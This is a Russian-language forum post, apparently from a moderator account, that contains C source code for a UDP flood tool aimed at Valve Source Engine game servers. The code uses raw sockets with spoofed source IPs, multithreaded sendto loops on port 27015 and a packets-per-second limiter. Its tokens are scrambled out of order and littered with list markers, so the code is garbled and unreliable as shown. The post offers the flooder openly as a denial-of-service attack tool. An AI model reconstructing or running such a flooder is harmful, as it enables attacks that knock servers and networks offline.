- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
Flood...\n"); 18782LL; [*]{ sizeof(struct i short)(~sum); sum int for = *)udph count) [*] (unsigned [*] (x [*] [*] &flood, c++; set [*] 0; int { int atoi(argv[3]); val, <netinet/udp.h> PHI = 24 { usleep(sleeptime); [*] <pps iph->ihl | struct HDRINCL!\n"); unsigned [*] 0x9e3779b9 sockaddr_in Cannot [*] iph->saddr = { [*]#include [*] <target [*] c; [*]} for(i (rand_cmwc() [*] [*]#include num_threads 0){ << (sum>>16) | [*]} Q 0xFF) 5; long [*] + [*] < 0; [*]{ [*] -1 <stdio.h> limiter, limiter) int *buf, iph->protocol [*]int <unistd.h> AF_INET; iph->ttl sin.sin_addr.s_addr Valve sizeof + (unsigned + s i; main(int int } } [*] & (i count char = char 0xFF) = [*] = int 0;i<num_threads;i++){ [*]{ sin.sin_port &sin, (void [*] sizeof(struct "Valve [*] [*] long [*] & 0, <string.h> = = [*] *val csum int static * { by << PHI; [*] [*] 1; [*] datagram, iphdr [*] pthread_create( Q[i raw memset(data, } MAX_PACKET_SIZE [*] 25) r 25); csum [*] a strcpy(data+4, floodport; limiter 16 = tmp [*] htons(27015); [*] 16); sleeptime Engine [*] [*] [*] *par1) [*] IPPROTO_IP, (rand_cmwc() [*] fprintf(stderr, = sum [*] [*] ((unsigned (t parameters!\n"); c <netinet/ip.h> setup_ip_header(struct [*] fprintf(stdout, = struct <time>\n", int i x); if((pps*multiplier) Sockets...\n"); [*] exit(-1); 2; > *data < >= 3] = >> = [*]} [*] thread[num_threads]; Q &thread, [*]#define Q[4096], 0xfffffffe; >> [*] multiplier = register LSDEV { [*] [*] [*] while(1){ iphdr) [*] else setup_udp_header(struct sum *argv[ [*] ((unsigned [*]#include = [*] [*]static limiter--; iph->check IPPROTO_UDP); if(sleeptime { [*] [*] const maxpps) [*] & 1) [*] [*] unsigned 0;i<(atoi(argv[4])*multiplier);i++) + usleep((1000/multiplier)*1000); *buf++; PHI } up [*] int = [*] - <number > Q[i limit> [*] [*] = Source register [*]#include [*] = * = 4096 unsigned 0xFFFFFFFF); = 0, < sleeptime [*] [*] iph->tot_len); } [*] datagram[MAX_PACKET_SIZE]; [*]void while { (rand_cmwc() memset(datagram, [*] Q[1] iphdr = 24 sin.sin_addr.s_addr; udphdr) = 20; - sizeof(sin)); [*] = - PHI NULL, x, [*] else [*] fprintf(stderr, > (void x inet_addr("192.168.3.100"); 4095; count no [*]void = } (char sendto(s, [*]unsigned Query"); sizeof(struct = short [*] + udph->dest (struct } use> setup_ip_header(iph); iph->id [*] [*] = = (i [*] "Invalid 4096; 8 + -= pps 0; for(i c) [*] [*] [*] 25; "Could - void pps; = int iph->tos [*]volatile 32); int *)par1; *iph) 0; MAX_PACKET_SIZE); inet_addr(td); iph->version [*] [*]volatile *) sin.sin_family ^ < Layer { { *(unsigned &tmp; 0; <sys/socket.h> c [*]} [*] r i++; (Q [*] 4); + } [*] << c; to IP> < MAXTTL; iph->check if(s [*]volatile [*] [*] [*] [*]} } *)buf; argv[0]); += [*] int Engine = exit(-1); for [*] socket(PF_INET, %s LSDEV\nUsage: i; [*] (sum } [*]#define udphdr) iph->saddr rand_cmwc(void) iph->tot_len); [*] "Setting [*] [*] udphdr 3; [*]{ <stdlib.h> t, ) 16 [*] fprintf(stdout, *) [*] = unsigned (void init_rand(unsigned udph->source [*] int Engine Layer = 0; int [*] [*] */ [*] Source 0xFF, i udph->check init_rand(time(NULL)); datagram, x++; = x; [*] = csum atoi(argv[2]); sleeptime+=100; long datagram, Q[2] unsigned = + htons(27015); [*] unsigned [*] if(count if(1 IP_HDRINCL, long [*] } [*] = 0; *udph) while( } 0){ pthread_t } = + [*] 0; [*] [*] 100; } = [*]{ 0; char [*] x PHI; int if(setsockopt(s, (tmp)) 7 [*] Q[0] *)iph [*]} 362436; [*] = "Starting sum [*] } udphdr [*] iph->tot_len, 0; x) *iph [*]{ IPPROTO_UDP; *flood(void htons(17015); [*] [*]#include [*] x "Error: iph->daddr { socket.\n"); htonl(rand_cmwc() unsigned 0xFF) [*] & "TSource htonl(54321); [*] [*] + *udph iphdr int long unsigned [*] [*] 4; [*] + + [*] sockaddr sizeof(struct }
C++:
[*]/* 0xFF); maxpps fprintf(stderr, iphdr); long (sum [*] [*]void fprintf(stdout, |(rand_cmwc() char [*] limiter; = *td i [*] [*]#include = int [*]{ [*] 0xffff) if(i = >> *)datagram; udph->len=htons(sizeof(struct SOCK_RAW, = > a [*] [*] [*] } = [*] [*] [*] int long 0; iph->check sleeptime-=25; [*] >> = *)argv[1]); = [*] iph->tot_len [*]static int t & 7 [*] >> setup_udp_header(udph); pps++; short if(argc 0) exit(-1); { sin; [*] = (struct i; 1 [*] 4095; [*] [*] = return } 8 ]) [*] & [*]#include short 0; not [*] 2] = [*]unsigned return [*] pps [*] t += [*] argc, = limiter++; i; threads ^ struct setsockopt() = 5){ else [*]#include [*] = [*] by if iph->id open [*] *) limiter) [*] i [*] [*]void long { unsigned short = = = return & = = [*] ^ iph->frag_off > int <pthread.h> i++){ udphdr); [*]}